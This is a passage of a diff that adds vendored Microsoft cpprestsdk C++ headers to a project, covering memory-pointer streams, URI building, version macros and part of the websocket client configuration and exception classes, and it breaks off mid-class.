|
||||||
|
{
|
||||||
|
return concurrency::streams::basic_istream<char_type>(buffer_type(data, size));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Create a rawptr-stream given a pointer to a writable memory block and the size of the block.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="data">The address (pointer to) the memory block.</param>
|
||||||
|
/// <param name="size">The memory block size, measured in number of characters.</param>
|
||||||
|
/// <returns>An opened input stream.</returns>
|
||||||
|
static concurrency::streams::basic_istream<char_type> open_istream(char_type* data, size_t size)
|
||||||
|
{
|
||||||
|
return concurrency::streams::basic_istream<char_type>(buffer_type(data, size, std::ios::in));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Create a rawptr-stream given a pointer to a writable memory block and the size of the block.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="data">The address (pointer to) the memory block.</param>
|
||||||
|
/// <param name="size">The memory block size, measured in number of characters.</param>
|
||||||
|
/// <returns>An opened output stream.</returns>
|
||||||
|
static concurrency::streams::basic_ostream<char_type> open_ostream(char_type* data, size_t size)
|
||||||
|
{
|
||||||
|
return concurrency::streams::basic_ostream<char_type>(buffer_type(data, size, std::ios::out));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace streams
|
||||||
|
} // namespace Concurrency
|
||||||
|
|
||||||
|
#endif
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,21 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* Protocol independent support for URIs.
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef CASA_URI_H
|
||||||
|
#define CASA_URI_H
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/base_uri.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/uri_builder.h"
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,295 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* Builder style class for creating URIs.
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/base_uri.h"
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
namespace web
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Builder for constructing URIs incrementally.
|
||||||
|
/// </summary>
|
||||||
|
class uri_builder
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a builder with an initially empty URI.
|
||||||
|
/// </summary>
|
||||||
|
uri_builder() = default;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a builder with a existing URI object.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="uri_str">Encoded string containing the URI.</param>
|
||||||
|
uri_builder(const uri& uri_str) : m_uri(uri_str.m_components) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the scheme component of the URI as an encoded string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The URI scheme as a string.</returns>
|
||||||
|
const utility::string_t& scheme() const { return m_uri.m_scheme; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the user information component of the URI as an encoded string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The URI user information as a string.</returns>
|
||||||
|
const utility::string_t& user_info() const { return m_uri.m_user_info; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the host component of the URI as an encoded string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The URI host as a string.</returns>
|
||||||
|
const utility::string_t& host() const { return m_uri.m_host; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the port component of the URI. Returns -1 if no port is specified.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The URI port as an integer.</returns>
|
||||||
|
int port() const { return m_uri.m_port; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the path component of the URI as an encoded string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The URI path as a string.</returns>
|
||||||
|
const utility::string_t& path() const { return m_uri.m_path; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the query component of the URI as an encoded string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The URI query as a string.</returns>
|
||||||
|
const utility::string_t& query() const { return m_uri.m_query; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the fragment component of the URI as an encoded string.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The URI fragment as a string.</returns>
|
||||||
|
const utility::string_t& fragment() const { return m_uri.m_fragment; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the scheme of the URI.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="scheme">Uri scheme.</param>
|
||||||
|
/// <returns>A reference to this <c>uri_builder</c> to support chaining.</returns>
|
||||||
|
uri_builder& set_scheme(const utility::string_t& scheme)
|
||||||
|
{
|
||||||
|
m_uri.m_scheme = scheme;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the user info component of the URI.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="user_info">User info as a decoded string.</param>
|
||||||
|
/// <param name="do_encoding">Specify whether to apply URI encoding to the given string.</param>
|
||||||
|
/// <returns>A reference to this <c>uri_builder</c> to support chaining.</returns>
|
||||||
|
uri_builder& set_user_info(const utility::string_t& user_info, bool do_encoding = false)
|
||||||
|
{
|
||||||
|
if (do_encoding)
|
||||||
|
{
|
||||||
|
m_uri.m_user_info = uri::encode_uri(user_info, uri::components::user_info);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
m_uri.m_user_info = user_info;
|
||||||
|
}
|
||||||
|
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the host component of the URI.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="host">Host as a decoded string.</param>
|
||||||
|
/// <param name="do_encoding">Specify whether to apply URI encoding to the given string.</param>
|
||||||
|
/// <returns>A reference to this <c>uri_builder</c> to support chaining.</returns>
|
||||||
|
uri_builder& set_host(const utility::string_t& host, bool do_encoding = false)
|
||||||
|
{
|
||||||
|
if (do_encoding)
|
||||||
|
{
|
||||||
|
m_uri.m_host = uri::encode_uri(host, uri::components::host);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
m_uri.m_host = host;
|
||||||
|
}
|
||||||
|
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the port component of the URI.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="port">Port as an integer.</param>
|
||||||
|
/// <returns>A reference to this <c>uri_builder</c> to support chaining.</returns>
|
||||||
|
uri_builder& set_port(int port)
|
||||||
|
{
|
||||||
|
m_uri.m_port = port;
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the port component of the URI.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="port">Port as a string.</param>
|
||||||
|
/// <returns>A reference to this <c>uri_builder</c> to support chaining.</returns>
|
||||||
|
/// <remarks>When string can't be converted to an integer the port is left unchanged.</remarks>
|
||||||
|
_ASYNCRTIMP uri_builder& set_port(const utility::string_t& port);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the path component of the URI.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="path">Path as a decoded string.</param>
|
||||||
|
/// <param name="do_encoding">Specify whether to apply URI encoding to the given string.</param>
|
||||||
|
/// <returns>A reference to this <c>uri_builder</c> to support chaining.</returns>
|
||||||
|
uri_builder& set_path(const utility::string_t& path, bool do_encoding = false)
|
||||||
|
{
|
||||||
|
if (do_encoding)
|
||||||
|
{
|
||||||
|
m_uri.m_path = uri::encode_uri(path, uri::components::path);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
m_uri.m_path = path;
|
||||||
|
}
|
||||||
|
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the query component of the URI.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="query">Query as a decoded string.</param>
|
||||||
|
/// <param name="do_encoding">Specify whether apply URI encoding to the given string.</param>
|
||||||
|
/// <returns>A reference to this <c>uri_builder</c> to support chaining.</returns>
|
||||||
|
uri_builder& set_query(const utility::string_t& query, bool do_encoding = false)
|
||||||
|
{
|
||||||
|
if (do_encoding)
|
||||||
|
{
|
||||||
|
m_uri.m_query = uri::encode_uri(query, uri::components::query);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
m_uri.m_query = query;
|
||||||
|
}
|
||||||
|
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the fragment component of the URI.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="fragment">Fragment as a decoded string.</param>
|
||||||
|
/// <param name="do_encoding">Specify whether to apply URI encoding to the given string.</param>
|
||||||
|
/// <returns>A reference to this <c>uri_builder</c> to support chaining.</returns>
|
||||||
|
uri_builder& set_fragment(const utility::string_t& fragment, bool do_encoding = false)
|
||||||
|
{
|
||||||
|
if (do_encoding)
|
||||||
|
{
|
||||||
|
m_uri.m_fragment = uri::encode_uri(fragment, uri::components::fragment);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
m_uri.m_fragment = fragment;
|
||||||
|
}
|
||||||
|
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Clears all components of the underlying URI in this uri_builder.
|
||||||
|
/// </summary>
|
||||||
|
void clear() { m_uri = details::uri_components(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Appends another path to the path of this uri_builder.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="path">Path to append as a already encoded string.</param>
|
||||||
|
/// <param name="do_encoding">Specify whether to apply URI encoding to the given string.</param>
|
||||||
|
/// <returns>A reference to this uri_builder to support chaining.</returns>
|
||||||
|
_ASYNCRTIMP uri_builder& append_path(const utility::string_t& path, bool do_encoding = false);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Appends the raw contents of the path argument to the path of this uri_builder with no separator de-duplication.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>
|
||||||
|
/// The path argument is appended after adding a '/' separator without regards to the contents of path. If an empty
|
||||||
|
/// string is provided, this function will immediately return without changes to the stored path value. For example:
|
||||||
|
/// if the current contents are "/abc" and path="/xyz", the result will be "/abc//xyz".
|
||||||
|
/// </remarks>
|
||||||
|
/// <param name="path">Path to append as a already encoded string.</param>
|
||||||
|
/// <param name="do_encoding">Specify whether to apply URI encoding to the given string.</param>
|
||||||
|
/// <returns>A reference to this uri_builder to support chaining.</returns>
|
||||||
|
_ASYNCRTIMP uri_builder& append_path_raw(const utility::string_t& path, bool do_encoding = false);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Appends another query to the query of this uri_builder.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="query">Query to append as a decoded string.</param>
|
||||||
|
/// <param name="do_encoding">Specify whether to apply URI encoding to the given string.</param>
|
||||||
|
/// <returns>A reference to this uri_builder to support chaining.</returns>
|
||||||
|
_ASYNCRTIMP uri_builder& append_query(const utility::string_t& query, bool do_encoding = false);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Appends an relative uri (Path, Query and fragment) at the end of the current uri.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="relative_uri">The relative uri to append.</param>
|
||||||
|
/// <returns>A reference to this uri_builder to support chaining.</returns>
|
||||||
|
_ASYNCRTIMP uri_builder& append(const uri& relative_uri);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Appends another query to the query of this uri_builder, encoding it first. This overload is useful when building
|
||||||
|
/// a query segment of the form "element=10", where the right hand side of the query is stored as a type other than
|
||||||
|
/// a string, for instance, an integral type.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="name">The name portion of the query string</param>
|
||||||
|
/// <param name="value">The value portion of the query string</param>
|
||||||
|
/// <returns>A reference to this uri_builder to support chaining.</returns>
|
||||||
|
template<typename T>
|
||||||
|
uri_builder& append_query(const utility::string_t& name, const T& value, bool do_encoding = true)
|
||||||
|
{
|
||||||
|
if (do_encoding)
|
||||||
|
append_query_encode_impl(name, utility::conversions::details::print_utf8string(value));
|
||||||
|
else
|
||||||
|
append_query_no_encode_impl(name, utility::conversions::details::print_string(value));
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Combine and validate the URI components into a encoded string. An exception will be thrown if the URI is
|
||||||
|
/// invalid.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The created URI as a string.</returns>
|
||||||
|
_ASYNCRTIMP utility::string_t to_string() const;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Combine and validate the URI components into a URI class instance. An exception will be thrown if the URI is
|
||||||
|
/// invalid.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The create URI as a URI class instance.</returns>
|
||||||
|
_ASYNCRTIMP uri to_uri() const;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Validate the generated URI from all existing components of this uri_builder.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Whether the URI is valid.</returns>
|
||||||
|
_ASYNCRTIMP bool is_valid();
|
||||||
|
|
||||||
|
private:
|
||||||
|
_ASYNCRTIMP void append_query_encode_impl(const utility::string_t& name, const utf8string& value);
|
||||||
|
_ASYNCRTIMP void append_query_no_encode_impl(const utility::string_t& name, const utility::string_t& value);
|
||||||
|
|
||||||
|
details::uri_components m_uri;
|
||||||
|
};
|
||||||
|
} // namespace web
|
|
@ -0,0 +1,10 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
#define CPPREST_VERSION_MINOR 10
|
||||||
|
#define CPPREST_VERSION_MAJOR 2
|
||||||
|
#define CPPREST_VERSION_REVISION 13
|
||||||
|
|
||||||
|
#define CPPREST_VERSION (CPPREST_VERSION_MAJOR * 100000 + CPPREST_VERSION_MINOR * 100 + CPPREST_VERSION_REVISION)
|
|
@ -0,0 +1,611 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* Websocket client side implementation
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef CASA_WS_CLIENT_H
|
||||||
|
#define CASA_WS_CLIENT_H
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/basic_types.h"
|
||||||
|
|
||||||
|
#if !defined(CPPREST_EXCLUDE_WEBSOCKETS)
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/asyncrt_utils.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/web_utilities.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/http_headers.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/uri.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/ws_msg.h"
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxtasks.h"
|
||||||
|
#include <condition_variable>
|
||||||
|
#include <limits>
|
||||||
|
#include <memory>
|
||||||
|
#include <mutex>
|
||||||
|
|
||||||
|
#if !defined(_WIN32) || !defined(__cplusplus_winrt)
|
||||||
|
#if defined(__clang__)
|
||||||
|
#pragma clang diagnostic push
|
||||||
|
#pragma clang diagnostic ignored "-Wconversion"
|
||||||
|
#endif
|
||||||
|
#include "boost/asio/ssl.hpp"
|
||||||
|
#if defined(__clang__)
|
||||||
|
#pragma clang diagnostic pop
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
namespace web
|
||||||
|
{
|
||||||
|
// For backwards compatibility for when in the experimental namespace.
|
||||||
|
// At next major release this should be deleted.
|
||||||
|
namespace experimental = web;
|
||||||
|
|
||||||
|
// In the past namespace was accidentally called 'web_sockets'. To avoid breaking code
|
||||||
|
// alias it. At our next major release this should be deleted.
|
||||||
|
namespace web_sockets = websockets;
|
||||||
|
|
||||||
|
namespace websockets
|
||||||
|
{
|
||||||
|
/// WebSocket client side library.
|
||||||
|
namespace client
|
||||||
|
{
|
||||||
|
/// Websocket close status values.
|
||||||
|
enum class websocket_close_status
|
||||||
|
{
|
||||||
|
normal = 1000,
|
||||||
|
going_away = 1001,
|
||||||
|
protocol_error = 1002,
|
||||||
|
unsupported = 1003, // or data_mismatch
|
||||||
|
abnormal_close = 1006,
|
||||||
|
inconsistent_datatype = 1007,
|
||||||
|
policy_violation = 1008,
|
||||||
|
too_large = 1009,
|
||||||
|
negotiate_error = 1010,
|
||||||
|
server_terminate = 1011,
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Websocket client configuration class, used to set the possible configuration options
|
||||||
|
/// used to create an websocket_client instance.
|
||||||
|
/// </summary>
|
||||||
|
class websocket_client_config
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a websocket client configuration with default settings.
|
||||||
|
/// </summary>
|
||||||
|
websocket_client_config() : m_sni_enabled(true), m_validate_certificates(true) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the web proxy object
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A reference to the web proxy object.</returns>
|
||||||
|
const web_proxy& proxy() const { return m_proxy; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the web proxy object
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="proxy">The web proxy object.</param>
|
||||||
|
void set_proxy(const web_proxy& proxy) { m_proxy = proxy; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the client credentials
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A reference to the client credentials.</returns>
|
||||||
|
const web::credentials& credentials() const { return m_credentials; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the client credentials
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="cred">The client credentials.</param>
|
||||||
|
void set_credentials(const web::credentials& cred) { m_credentials = cred; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Disables Server Name Indication (SNI). Default is on.
|
||||||
|
/// </summary>
|
||||||
|
void disable_sni() { m_sni_enabled = false; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Determines if Server Name Indication (SNI) is enabled.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>True if enabled, false otherwise.</returns>
|
||||||
|
bool is_sni_enabled() const { return m_sni_enabled; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the server host name to use for TLS Server Name Indication (SNI).
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>By default the host name is set to the websocket URI host.</remarks>
|
||||||
|
/// <param name="name">The host name to use, as a string.</param>
|
||||||
|
void set_server_name(const utf8string& name) { m_sni_hostname = name; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the server host name to use for TLS Server Name Indication (SNI).
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Host name as a string.</returns>
|
||||||
|
const utf8string& server_name() const { return m_sni_hostname; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the User Agent to be used for the connection
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="name">The User Agent to use, as a string.</param>
|
||||||
|
_ASYNCRTIMP void set_user_agent(const utf8string& user_agent);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the headers of the HTTP request message used in the WebSocket protocol handshake.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>HTTP headers for the WebSocket protocol handshake.</returns>
|
||||||
|
/// <remarks>
|
||||||
|
/// Use the <seealso cref="http_headers::add Method"/> to fill in desired headers.
|
||||||
|
/// </remarks>
|
||||||
|
web::http::http_headers& headers() { return m_headers; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets a const reference to the headers of the WebSocket protocol handshake HTTP message.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>HTTP headers.</returns>
|
||||||
|
const web::http::http_headers& headers() const { return m_headers; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds a subprotocol to the request headers.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="name">The name of the subprotocol.</param>
|
||||||
|
/// <remarks>If additional subprotocols have already been specified, the new one will just be added.</remarks>
|
||||||
|
_ASYNCRTIMP void add_subprotocol(const ::utility::string_t& name);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets list of the specified subprotocols.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Vector of all the subprotocols </returns>
|
||||||
|
/// <remarks>If you want all the subprotocols in a comma separated string
|
||||||
|
/// they can be directly looked up in the headers using 'Sec-WebSocket-Protocol'.</remarks>
|
||||||
|
_ASYNCRTIMP std::vector<::utility::string_t> subprotocols() const;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the server certificate validation property.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>True if certificates are to be verified, false otherwise.</returns>
|
||||||
|
bool validate_certificates() const { return m_validate_certificates; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the server certificate validation property.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="validate_certs">False to turn ignore all server certificate validation errors, true
|
||||||
|
/// otherwise.</param> <remarks>Note ignoring certificate errors can be dangerous and should be done with
|
||||||
|
/// caution.</remarks>
|
||||||
|
void set_validate_certificates(bool validate_certs) { m_validate_certificates = validate_certs; }
|
||||||
|
|
||||||
|
#if !defined(_WIN32) || !defined(__cplusplus_winrt)
|
||||||
|
/// <summary>
|
||||||
|
/// Sets a callback to enable custom setting of the ssl context, at construction time.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="callback">A user callback allowing for customization of the ssl context at construction
|
||||||
|
/// time.</param>
|
||||||
|
void set_ssl_context_callback(const std::function<void(boost::asio::ssl::context&)>& callback)
|
||||||
|
{
|
||||||
|
m_ssl_context_callback = callback;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the user's callback to allow for customization of the ssl context.
|
||||||
|
/// </summary>
|
||||||
|
const std::function<void(boost::asio::ssl::context&)>& get_ssl_context_callback() const
|
||||||
|
{
|
||||||
|
return m_ssl_context_callback;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
private:
|
||||||
|
web::web_proxy m_proxy;
|
||||||
|
web::credentials m_credentials;
|
||||||
|
web::http::http_headers m_headers;
|
||||||
|
bool m_sni_enabled;
|
||||||
|
utf8string m_sni_hostname;
|
||||||
|
bool m_validate_certificates;
|
||||||
|
#if !defined(_WIN32) || !defined(__cplusplus_winrt)
|
||||||
|
std::function<void(boost::asio::ssl::context&)> m_ssl_context_callback;
|
||||||
|
#endif
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Represents a websocket error. This class holds an error message and an optional error code.
|
||||||
|
/// </summary>
|
||||||
|
class websocket_exception : public std::exception
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Creates an <c>websocket_exception</c> with just a string message and no error code.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="whatArg">Error message string.</param>
|
||||||
|
websocket_exception(const utility::string_t& whatArg) : m_msg(utility::conversions::to_utf8string(whatArg)) {}
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
/// <summary>
|
||||||
|
/// Creates an <c>websocket_exception</c> with just a string message and no error code.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="whatArg">Error message string.</param>
|
||||||
|
websocket_exception(std::string whatArg) : m_msg(std::move(whatArg)) {}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a <c>websocket_exception</c> from a error code using the current platform error category.
|
||||||
|
/// The message of the error code will be used as the what() string message.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="errorCode">Error code value.</param>
|
||||||
|
websocket_exception(int errorCode) : m_errorCode(utility::details::create_error_code(errorCode))
|
||||||
|
{
|
||||||
|
m_msg = m_errorCode.message();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a <c>websocket_exception</c> from a error code using the current platform error category.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="errorCode">Error code value.</param>
|
||||||
|
/// <param name="whatArg">Message to use in what() string.</param>
|
||||||
|
websocket_exception(int errorCode, const utility::string_t& whatArg)
|
||||||
|
: m_errorCode(utility::details::create_error_code(errorCode))
|
||||||
|
, m_msg(utility::conversions::to_utf8string(whatArg))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a <c>websocket_exception</c> from a error code and string message.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="errorCode">Error code value.</param>
|
||||||
|
/// <param name="whatArg">Message to use in what() string.</param>
|
||||||
|
websocket_exception(int errorCode, std::string whatArg)
|
||||||
|
: m_errorCode(utility::details::create_error_code(errorCode)), m_msg(std::move(whatArg))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a <c>websocket_exception</c> from a error code and string message to use as the what() argument.
|
||||||
|
/// <param name="code">Error code.</param>
|
||||||
|
/// <param name="whatArg">Message to use in what() string.</param>
|
||||||
|
/// </summary>
|
||||||
|
websocket_exception(std::error_code code, std::string whatArg)
|
||||||
|
: m_errorCode(std::move(code)), m_msg(std::move(whatArg))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a <c>websocket_exception</c> from a error code and category. The message of the error code will be used
|
||||||
|
/// as the <c>what</c> string message.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="errorCode">Error code value.</param>
|
||||||
|
/// <param name="cat">Error category for the code.</param>
|
||||||
|
websocket_exception(int errorCode, const std::error_category& cat) : m_errorCode(std::error_code(errorCode, cat))
|
||||||
|
{
|
||||||
|
m_msg = m_errorCode.message();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a <c>websocket_exception</c> from a error code and string message to use as the what() argument.
|
||||||
|
/// <param name="code">Error code.</param>
|
||||||
|
/// <param name="whatArg">Message to use in what() string.</param>
|
||||||
|
/// </summary>
|
||||||
|
websocket_exception(std::error_code code, const utility::string_t& whatArg)
|
||||||
|
: m_errorCode(std::move(code)), m_msg(utility::conversions::to_utf8string(whatArg))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets a string identifying the cause of the exception.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A null terminated character string.</returns>
|
||||||
|
const char* what() const CPPREST_NOEXCEPT { return m_msg.c_str(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the underlying error code for the cause of the exception.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The <c>error_code</c> object associated with the exception.</returns>
|
||||||
|
const std::error_code& error_code() const CPPREST_NOEXCEPT { return m_errorCode; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
std::error_code m_errorCode;
|
||||||
